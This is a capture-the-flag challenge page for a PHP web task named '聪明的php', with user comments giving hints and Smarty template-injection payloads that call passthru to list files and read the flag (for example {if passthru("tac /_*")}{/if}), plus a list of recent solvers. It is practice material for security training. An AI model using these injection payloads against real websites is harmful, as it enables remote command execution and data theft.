聪明的phpWEB 未解决

分数: 25 金币: 2
题目作者: midi
一  血: Lazzaro
一血奖励: 3金币
解  决: 4146
提  示:
描  述:
聪明的php
评论
s1amese 3年前

passthru执行函数查看(ls),然后再查看列出的数字文件

回复 0

gleason 3年前

index.php?a={{passthru('more ../../../*|grep ff')}}

回复 0

Whittebz 3年前

{lf passthru("tac /_*")}{/if}

回复 0

Vio1et 3年前

哪位大神告诉我为什么{var_dump(`ls`)}不行

回复 0

zdfy005 3年前

https://blog.csdn.net/m_de_g/article/details/120380488

回复 4

aWxvdmVjdGY 3年前

?xxx={if passthru("less /_21752 ")}{/if}

回复 0

笨笨笨蛋 3年前

大佬们 你们都是怎么发现是什么模块注入的?TAT我好菜啊~~

回复 3
kaikaixinxin 3年前

随便传了个参数,就回显了php代码

回复 0

websterchan 3年前

小猿搜题

回复 9

lysandria 4年前

奇怪,tac不行,tail等可以。

回复 0

miko 4年前

smarty模板注入 看正则过滤内容 在最后查看flag的时候可以试试sort工具

回复 0

modeng 4年前

分享一下我的经验与总结 https://blog.csdn.net/m_de_g/article/details/120380488

回复 8

WriteUp

image
midi

3 金币

评分(13)

解题动态

huasan2410 攻破了该题 4小时前
hiworld 攻破了该题 1天前
xong_bai 攻破了该题 2天前
灵梦归希 攻破了该题 2天前
kimol 攻破了该题 2天前
wendy2023 攻破了该题 3天前
niubill 攻破了该题 5天前
Star666 攻破了该题 5天前
jun1223 攻破了该题 6天前
C071 攻破了该题 7天前
lover 攻破了该题 7天前
Mr.Cyber 攻破了该题 7天前
liyimanfan 攻破了该题 8天前
Brightt 攻破了该题 8天前
mechatengo 攻破了该题 12天前
saku688 攻破了该题 12天前
Vluae 攻破了该题 12天前
曾经的我们也被人羡慕 攻破了该题 13天前
狗等考拉 攻破了该题 14天前
燕双鹰 攻破了该题 14天前
问题反馈